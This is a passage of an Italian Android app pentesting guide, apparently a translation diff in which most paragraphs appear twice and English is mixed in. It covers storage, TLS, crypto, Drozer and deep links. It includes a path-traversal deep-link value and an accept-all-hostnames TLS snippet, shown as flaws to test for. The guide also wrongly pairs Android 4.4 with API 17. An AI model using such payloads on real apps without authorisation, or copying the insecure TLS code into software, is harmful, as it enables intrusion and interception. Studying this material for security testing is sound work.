- **Controlla** i **permessi** impostati sui file creati dall'app. In particolare, **verifica** se alcuni file sono **impostati come leggibili o scrivibili da tutti**. Questo può rappresentare un rischio di sicurezza significativo, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intenzione, di **leggere o modificare** questi file.
- **Controllare** i permessi impostati sui file creati dall'app. In particolare, **verificare** se alcuni file sono impostati come leggibili o scrivibili da chiunque. Questo può rappresentare un rischio significativo per la sicurezza, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intenzione, di **leggere o modificare** tali file.
**External Storage**
Quando si trattano file su **external storage**, come le SD Card, vanno prese alcune precauzioni:
Quando si tratta di file su storage esterno, come le SD Card, è bene prendere alcune precauzioni:
1. **Accessibilità**:
- I file su external storage sono **leggibili e scrivibili globalmente**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
2. **Preoccupazioni di sicurezza**:
- Data la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su external storage.
- L'external storage può essere rimosso o accessibile da qualsiasi applicazione, rendendolo meno sicuro.
3. **Gestione dei dati provenienti da external storage**:
- Esegui sempre la **validazione dell'input** sui dati recuperati da external storage. Questo è cruciale perché i dati provengono da una fonte non attendibile.
- È fortemente sconsigliato memorizzare eseguibili o class files su external storage per il caricamento dinamico.
- Se la tua applicazione deve comunque recuperare file eseguibili da external storage, assicurati che tali file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità di sicurezza della tua applicazione.
- I file su external storage sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedervi.
2. **Problemi di sicurezza**:
- Considerata la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su external storage.
- Lo storage esterno può essere rimosso o accessibile da qualsiasi applicazione, rendendolo meno sicuro.
3. **Gestione dei dati provenienti da External Storage**:
- Esegui sempre **validazione degli input** sui dati recuperati dallo storage esterno. Questo è fondamentale perché i dati provengono da una fonte non attendibile.
- È fortemente sconsigliato memorizzare eseguibili o class files su external storage per caricamento dinamico.
- Se la tua applicazione deve recuperare file eseguibili dallo storage esterno, assicurati che questi file siano **signed e verificati criptograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità di sicurezza dell'applicazione.
External storage può essere **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
External storage può essere **accessed** in /storage/emulated/0 , /sdcard , /mnt/sdcard
> [!TIP]
> A partire da Android 4.4 (**API 17**), la SD card ha una struttura di directory che **limita l'accesso di un'app alla directory specificamente destinata a quell'app**. Questo previene che applicazioni maligne ottengano accesso in lettura o scrittura ai file di un'altra app.
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
**Dati sensibili memorizzati in chiaro**
**Sensitive data stored in clear-text**
- **Shared preferences**: Android permette a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Databases**: Android permette a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Shared preferences**: Android permette a ogni applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Databases**: Android permette a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
### Broken TLS
**Accept All Certificates**
Per qualche motivo a volte gli sviluppatori accettano tutti i certificati anche se, per esempio, l'hostname non corrisponde, con righe di codice come le seguenti:
Per qualche motivo a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, l'hostname non corrisponde, con righe di codice come la seguente:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare Burp CA all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA sul dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
### Crittografia compromessa
### Criptografia debole
**Processi di gestione delle chiavi inadeguati**
Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/predictable nel codice. Questo non dovrebbe essere fatto, poiché del reversing potrebbe permettere agli attackers di estrarre le informazioni riservate.
Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/prevedibile nel codice. Questo non dovrebbe essere fatto poiché del reversing potrebbe permettere agli attaccanti di estrarre le informazioni riservate.
**Uso di algoritmi insicuri e/o deprecati**
Gli sviluppatori non dovrebbero usare **deprecated algorithms** per eseguire controlli di autorizzazione, per **store** o **send** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono usati **hashes** per salvare le password, ad esempio, dovrebbero essere impiegati hashes resistenti al brute-force con salt.
Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per effettuare controlli di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono usati **hash** per memorizzare password ad esempio, dovrebbero essere usati hash resistenti al brute-force con salt.
### Altri controlli
- È consigliato **obfuscate the APK** per rendere più difficile il lavoro di reverse engineer agli attackers.
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri controlli per verificare se il dispositivo è **rooted** e agire di conseguenza.
- Se l'app è sensibile (come le app bancarie), dovrebbe verificare se è in uso un **emulator**.
- Se l'app è sensibile (come le app bancarie), dovrebbe **check it's own integrity before executing** per verificare se è stata modificata.
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per verificare quale compiler/packer/obfuscator è stato usato per buildare l'APK
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineer agli attaccanti.
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per verificare se il dispositivo è rootato** e agire di conseguenza.
- Se l'app è sensibile (come le app bancarie), dovrebbe verificare se viene usato un **emulatore**.
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compiler/packer/obfuscator è stato usato per buildare l'APK
### React Native Application
### Applicazione React Native
Leggi la pagina seguente per imparare come accedere facilmente al javascript delle applicazioni React:
Leggi la pagina seguente per imparare come accedere facilmente al codice JavaScript delle applicazioni React:
{{#ref}}
react-native-application.md
{{#endref}}
### Xamarin Applications
### Applicazioni Xamarin
Leggi la pagina seguente per imparare come accedere facilmente al codice C# di un'applicazione xamarin:
@ -195,19 +195,19 @@ Leggi la pagina seguente per imparare come accedere facilmente al codice C# di u
../xamarin-apps.md
{{#endref}}
### Superpacked Applications
### Applicazioni Superpacked
Secondo questo [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un singolo file. Il blog parla della possibilità di creare un'app che decomprima questo tipo di applicazioni... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
Secondo questo [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un singolo file. Il blog parla della possibilità di creare un'app che decomprima questo tipo di app... e di un modo più veloce che implica di **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
### Automated Static Code Analysis
### Analisi statica automatizzata del codice
Lo strumento [**mariana-trench**](https://github.com/facebook/mariana-trench) è in grado di trovare **vulnerabilities** scansionando il **code** dell'applicazione. Questo strumento contiene una serie di **known sources** (che indicano allo strumento i **places** dove l'**input** è **controlled by the user**), **sinks** (che indicano al tool i **dangerous** **places** dove l'input malevolo potrebbe causare danni) e **rules**. Queste regole indicano la **combination** di **sources-sinks** che segnala una vulnerabilità.
Lo strumento [**mariana-trench**](https://github.com/facebook/mariana-trench) è in grado di trovare **vulnerabilità** eseguendo la **scansione** del **codice** dell'applicazione. Questo strumento contiene una serie di **known sources** (che indicano allo strumento i **punti** dove l'**input** è **controllato dall'utente**), **sinks** (che indicano allo strumento i **punti** **pericolosi** dove l'input maligno dell'utente potrebbe causare danni) e **regole**. Queste regole indicano la **combinazione** di **sources-sinks** che segnala una vulnerabilità.
Con questa conoscenza, **mariana-trench will review the code and find possible vulnerabilities on it**.
Con questa conoscenza, **mariana-trench esaminerà il codice e troverà possibili vulnerabilità al suo interno**.
### Secrets leaked
Un'applicazione può contenere secrets (API keys, password, hidden urls, subdomains...) al suo interno che potresti essere in grado di scoprire. Potresti usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Un'applicazione può contenere secrets (API keys, password, hidden urls, subdomains...) al suo interno che potresti essere in grado di scoprire. Puoi usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -221,9 +221,9 @@ bypass-biometric-authentication-android.md
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** dichiarate come `native`: `public native, System.loadLibrary, System.load`
- [Leggi questo per imparare **how to reverse native functions**](reversing-native-libraries.md)
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Other tricks**
### **Altri trucchi**
{{#ref}}
@ -236,11 +236,11 @@ content-protocol.md
## Dynamic Analysis
> Prima di tutto, ti serve un ambiente dove poter installare l'applicazione e tutta la configurazione (Burp CA cert, Drozer e Frida principalmente). Pertanto, un dispositivo rooted (emulato o no) è fortemente raccomandato.
> Prima di tutto, hai bisogno di un ambiente dove poter installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer e Frida principalmente). Pertanto, è fortemente raccomandato un dispositivo rootato (emulato o meno).
### Online Dynamic analysis
Puoi creare un **free account** su: [https://appetize.io/](https://appetize.io). Questa piattaforma ti permette di **upload** e **execute** APK, quindi è utile per vedere come si comporta un apk.
Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io). Questa piattaforma ti permette di **caricare** ed **eseguire** APK, quindi è utile per vedere come si comporta un apk.
Puoi anche **vedere i log della tua applicazione** sul web e connetterti tramite **adb**.
@ -252,7 +252,7 @@ Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**le ultime versioni x86** supportano librerie **ARM** senza bisogno di un lento emulatore arm).
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**le versioni x86 più recenti** **supportano librerie ARM** senza bisogno di un lento emulatore arm).
- Impara a configurarlo in questa pagina:
@ -260,139 +260,139 @@ Grazie alla connessione ADB puoi usare **Drozer** e **Frida** all'interno degli
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, è necessario creare un account. _È raccomandato **download** la versione **WITH** _**VirtualBox** per evitare potenziali errori._)
- [**Nox**](https://es.bignox.com) (Free, ma non supporta Frida o Drozer).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(versione gratuita:** Personal Edition, è necessario creare un account. _Si raccomanda di **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._)
- [**Nox**](https://es.bignox.com) (Gratis, ma non supporta Frida o Drozer).
> [!TIP]
> Quando crei un nuovo emulator su qualunque piattaforma ricorda che quanto più grande è lo schermo, tanto più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più lo schermo è grande, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
Per **installare google services** (come AppStore) in Genymotion devi cliccare sul pulsante segnato in rosso nell'immagine seguente:
Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul bottone segnato in rosso nella seguente immagine:
![](<../../images/image (277).png>)
Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare la modalità **Bridge Network** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti).
Inoltre, nota che nella **configurazione della VM Android in Genymotion** puoi selezionare la **Bridge Network mode** (questo sarà utile se ti connetterai alla VM Android da una VM diversa con gli strumenti).
#### Use a physical device
Devi attivare le opzioni di **debugging** e sarebbe utile poterlo **root**:
Devi attivare le opzioni di **debug** e sarebbe utile se puoi **rootarlo**:
1. **Settings**.
2. (FromAndroid 8.0) Seleziona **System**.
3. Seleziona **About phone**.
4. Premi **Build number** 7 volte.
5. Torna indietro e troverai le **Developer options**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Una volta installata l'applicazione, la prima cosa che dovresti fare è provarla e investigare cosa fa, come funziona e prendere confidenza con essa.\
> Suggerisco di **effettuare questa analisi dinamica iniziale usando MobSF dynamic analysis + pidcat**, così saremo in grado di **imparare come l'applicazione funziona** mentre MobSF **captures** molti dati **interessanti** che puoi rivedere più tardi.
> Suggerisco di **eseguire questa analisi dinamica iniziale usando MobSF dynamic analysis + pidcat**, così saremo in grado di **imparare come l'applicazione funziona** mentre MobSF **cattura** molti **dati** **interessanti** che potrai rivedere in seguito.
Magisk/Zygisk quick notes (raccomandato su dispositivi Pixel)
- Patchare boot.img con l'app Magisk e flashare via fastboot per ottenere root systemless
- Abilitare Zygisk + DenyList per nascondere il root; considera LSPosed/Shamiko quando è necessario un hiding più robusto
- Conservare il boot.img originale per recuperare dopo gli OTA; ripatchare dopo ogni OTA
- Patcha boot.img con l'app Magisk e flashalo via fastboot per ottenere root systemless
- Abilita Zygisk + DenyList per nascondere il root; considera LSPosed/Shamiko quando è richiesto un nascondimento più forte
- Tieni il boot.img originale per recuperare dagli aggiornamenti OTA; ri-patchalo dopo ogni OTA
- Per il mirroring dello schermo, usa scrcpy sull'host
### Unintended Data Leakage
### Perdita di dati non intenzionale
**Logging**
Gli sviluppatori devono essere cauti nell'esporre informazioni di **debugging** pubblicamente, poiché ciò può portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log delle applicazioni e identificare/proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
Gli sviluppatori dovrebbero fare attenzione a non esporre pubblicamente informazioni di **debug**, poiché ciò può portare a leak di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione al fine di identificare e proteggere informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
> [!WARNING]
> Nota che da **versioni successive a Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
> Comunque, è sempre consigliato **non loggare informazioni sensibili**.
> Nota che da **versioni successive a Android 4.0**, **le applicazioni sono in grado di accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
> Comunque, è comunque raccomandato **di non loggare informazioni sensibili**.
**Copy/Paste Buffer Caching**
Il framework basato sulla **clipboard** di Android abilita la funzionalità copy-paste nelle app, ma rappresenta un rischio in quanto **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È cruciale **disabilitare copy/paste** nelle sezioni sensibili di un'applicazione, come i dati della carta di credito, per prevenire leak.
Il framework basato su **clipboard** di Android abilita la funzionalità copy-paste nelle app, tuttavia rappresenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È cruciale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire leak di dati.
**Crash Logs**
Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attackers, specialmente quando l'app non può essere reverse-engineerata. Per mitigare questo rischio, evitare di loggare sui crash e, se i log devono essere trasmessi in rete, assicurarsi che vengano inviati tramite un canale SSL per sicurezza.
Se un'applicazione **crasha** e **salva log**, questi log possono aiutare gli attaccanti, particolarmente quando l'app non può essere reverse-engineered. Per mitigare questo rischio, evita di loggare in caso di crash e, se i log devono essere trasmessi in rete, assicurati che siano inviati tramite un canale SSL per la sicurezza.
Come pentester, **cerca di dare un'occhiata a questi log**.
Come pentester, **prova a dare un'occhiata a questi log**.
**Analytics Data Sent To 3rd Parties**
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente causare **leak di dati sensibili** a causa di un'implementazione scorretta degli sviluppatori. Per identificare potenziali leak di dati, è consigliabile **intercettare il traffico dell'applicazione** e verificare se informazioni sensibili vengono inviate a servizi di terze parti.
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente causare leak di dati sensibili a causa di una cattiva implementazione da parte degli sviluppatori. Per identificare potenziali leak di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se informazioni sensibili vengono inviate a servizi di terze parti.
### SQLite DBs
La maggior parte delle applicazioni utilizzerà **database SQLite interni** per salvare informazioni. Durante il pentest controlla i **databases** creati, i nomi delle **tables** e delle **columns** e tutti i **data** salvati perché potresti trovare informazioni sensibili (che costituirebbero una vulnerabilità).\
I database dovrebbero trovarsi in /data/data/the.package.name/databases come /data/data/com.mwr.example.sieve/databases
La maggior parte delle applicazioni usa **database SQLite interni** per salvare informazioni. Durante il pentest dai **un'occhiata** ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che sarebbero una vulnerabilità).\
I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases`
Se il database salva informazioni confidenziali ed è **encrypted** ma puoi **find** la **password** all'interno dell'applicazione è comunque una **vulnerability**.
Se il database salva informazioni confidenziali ed è **encryptato** ma puoi **trovare** la **password** all'interno dell'applicazione è comunque una **vulnerabilità**.
Enumera le tabelle usando `.tables` ed enumera le colonne delle tabelle con `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
Dai [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'app installata può fare**, come utilizzare il meccanismo IPC di Android e interagire con il sistema operativo sottostante. .\
Drozer è uno strumento utile per **exploitare exported activities, exported services e Content Providers** come imparerai nelle sezioni seguenti.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permette di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'app installata può fare**, come utilizzare il meccanismo di Inter-Process Communication (IPC) di Android e interagire con il sistema operativo sottostante. .\
Drozer è uno strumento utile per **sfruttare exported activities, exported services e Content Providers** come imparerai nelle sezioni seguenti.
### Exploiting exported Activities
### Sfruttare Activities esportate
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ricorda inoltre che il codice di un'attività inizia nel metodo **`onCreate`**.
**Authorisation bypass**
Quando un'Activity è exported puoi invocare la sua schermata da un'app esterna. Pertanto, se un'activity con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **authentication** per accedervi.
Quando un'Activity è exported puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **exported** potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
Puoi anche avviare un'activity exported da adb:
Puoi anche avviare un'attività esportata da adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF rileverà come dannoso l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'activity, ma a causa di [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su vecchie versioni (API versions < 21).
**NOTA**: MobSF rileverà come dannoso l'uso di _**singleTask/singleInstance**_ come `android:launchMode` in un'activity, ma a causa di [questo](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparentemente questo è pericoloso solo su versioni vecchie (API versions < 21).
> [!TIP]
> Nota che un authorisation bypass non è sempre una vulnerabilità: dipende da come il bypass funziona e quali informazioni vengono esposte.
> Nota che un authorisation bypass non è sempre una vulnerabilità; dipende da come funziona il bypass e quali informazioni vengono esposte.
**Sensitive information leakage**
**Perdita di informazioni sensibili**
**Activities can also return results**. Se riesci a trovare un'activity esportata e non protetta che invoca il metodo **`setResult`** e **restituisce informazioni sensibili**, si verifica una sensitive information leakage.
**Le activity possono anche restituire risultati**. Se riesci a trovare un'activity esportata e non protetta che chiama il metodo **`setResult`** e **restituisce informazioni sensibili**, c'è una perdita di informazioni sensibili.
#### Tapjacking
Se il Tapjacking non è prevenuto, potresti abusare dell'activity esportata per far eseguire all'**user azioni inaspettate**. Per maggiori informazioni su [**cos'è Tapjacking segui il link**](#tapjacking).
Se il Tapjacking non è prevenuto, potresti abusare dell'activity esportata per far sì che l'**utente compia azioni inaspettate**. Per maggiori info su [**cos'è il Tapjacking? Segui il link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
[**Leggi questo se vuoi rinfrescare cosa sia un Content Provider.**](android-applications-basics.md#content-provider)\
I Content providers sono fondamentalmente usati per **condividere dati**. Se un'app ha content providers disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È inoltre interessante testare possibili **SQL injections** e **Path Traversals**, poiché potrebbero essere vulnerabili.
[**Leggi questo se vuoi rinfrescarti cos'è un Content Provider.**](android-applications-basics.md#content-provider)\
I Content providers sono fondamentalmente usati per **condividere dati**. Se un'app ha content providers disponibili potresti essere in grado di **estrarre dati sensibili** da essi. È inoltre interessante testare possibili **SQL injections** e **Path Traversals**, perché potrebbero essere vulnerabili.
[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
### **Sfruttare i Services**
[**Leggi questo se vuoi rinfrescare cosa sia un Service.**](android-applications-basics.md#services)\
[**Leggi questo se vuoi rinfrescarti cos'è un Service.**](android-applications-basics.md#services)\
Ricorda che le azioni di un Service iniziano nel metodo `onStartCommand`.
Un Service è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta dei Service dovresti **controllare** il **codice** per capire cosa fa e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassing le misure di autenticazione...\
[**Scopri come sfruttare i Service con Drozer.**](drozer-tutorial/index.html#services)
Un Service è fondamentalmente qualcosa che **può ricevere dati**, **processarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta dei services dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\
[**Scopri come sfruttare i Services con Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
### **Sfruttare i Broadcast Receivers**
[**Leggi questo se vuoi rinfrescare cosa sia un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
[**Leggi questo se vuoi rinfrescarti cos'è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`.
Un Broadcast Receiver rimarrà in attesa di un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
Un broadcast receiver starà in attesa di un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
### **Sfruttare Schemes / Deep links**
Puoi cercare deep links manualmente, usando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Puoi cercare i deep links manualmente, usando tool come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Puoi **aprire** uno **scheme** dichiarato usando **adb** o un **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Nota che puoi **omettere il nome del package** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._
_Nota che puoi **omit the package name** e il dispositivo mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -407,56 +407,56 @@ Per trovare il **codice che verrà eseguito nell'App**, vai all'activity chiamat
**Informazioni sensibili**
Ogni volta che trovi un deep link verifica che **non stia ricevendo dati sensibili (come password) tramite i parametri URL**, perché qualsiasi altra applicazione potrebbe **impersonare il deep link e rubare quei dati!**
Ogni volta che trovi un deep link verifica che non stia ricevendo dati sensibili (come password) via URL parameters, perché qualsiasi altra applicazione potrebbe **impersonate the deep link and steal that data!**
**Parametri nel path**
Devi anche verificare se un deep link sta usando un parametro dentro il path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Nota che se trovi gli endpoint corretti dentro l'applicazione potresti essere in grado di causare un **Open Redirect** (se parte del path è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza token CSRF e l'endpoint vulnerabile usa il metodo corretto) e qualsiasi altra vuln. Maggiori [info su questo qui](http://dphoeniixx.com/2020/12/13-2/).
Devi anche verificare se un deep link sta usando un parametro all'interno del path dell'URL come: `https://api.example.com/v1/users/{username}` , in tal caso puoi forzare un path traversal accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Nota che se trovi gli endpoint corretti all'interno dell'applicazione potresti essere in grado di causare una **Open Redirect** (se parte del path è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza CSRF token e l'endpoint vuln usava il metodo corretto) e qualsiasi altra vuln. Maggiori [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**Altri esempi**
**More examples**
Un [interessante bug bounty report](https://hackerone.com/reports/855618) sui link (_/.well-known/assetlinks.json_).
Un [interessante report di bug bounty](https://hackerone.com/reports/855618) sui link (_/.well-known/assetlinks.json_).
### Ispezione del livello di trasporto e fallimenti di verifica
### Ispezione del livello di trasporto e problemi di verifica
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni ignorino gli avvisi e accettino certificati self-signed o, in alcuni casi, tornino a usare connessioni HTTP.
- **Le negoziazioni durante l'handshake SSL/TLS sono a volte deboli**, impiegando cipher suite insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), permettendo agli attaccanti di decriptare i dati.
- **Perdita di informazioni private** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come cookie di sessione o dettagli utente, dall'intercettazione da parte di entità malevole.
- **I certificati non sono sempre controllati correttamente** dalle applicazioni Android. È comune che queste applicazioni ignorino gli avvisi e accettino certificati self-signed o, in alcuni casi, tornino a usare connessioni HTTP.
- **Le negoziazioni durante lo handshake SSL/TLS sono talvolta deboli**, impiegando cipher suites non sicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), permettendo agli attaccanti di decriptare i dati.
- **Perdita di informazioni private** è un rischio quando le applicazioni si autenticano usando canali sicuri ma poi comunicano su canali non sicuri per altre transazioni. Questo approccio non protegge i dati sensibili, come session cookies o dettagli utente, dall'intercettazione da parte di entità malevole.
#### Verifica del certificato
#### Certificate Verification
Ci concentreremo sulla **verifica del certificato**. L'integrità del certificato del server deve essere verificata per migliorare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono comportare rischi significativi. Per passaggi dettagliati sulla verifica dei certificati server e la risoluzione delle vulnerabilità, [**questa risorsa**](https://manifestsecurity.com/android-application-security-part-10/) fornisce linee guida complete.
Ci concentreremo sulla **verifica dei certificati**. L'integrità del certificato del server deve essere verificata per aumentare la sicurezza. Questo è cruciale perché configurazioni TLS insicure e la trasmissione di dati sensibili su canali non cifrati possono comportare rischi significativi. Per passaggi dettagliati sulla verifica dei certificati del server e la risoluzione delle vulnerabilità, [**questa risorsa**](https://manifestsecurity.com/android-application-security-part-10/) fornisce una guida completa.
#### SSL Pinning
Lo **SSL Pinning** è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia nota memorizzata all'interno dell'app stessa. Questo metodo è essenziale per prevenire attacchi MITM. Implementare SSL Pinning è fortemente raccomandato per applicazioni che gestiscono informazioni sensibili.
SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia nota memorizzata all'interno dell'app stessa. Questo metodo è essenziale per prevenire attacchi MITM. Implementare SSL Pinning è fortemente raccomandato per applicazioni che gestiscono informazioni sensibili.
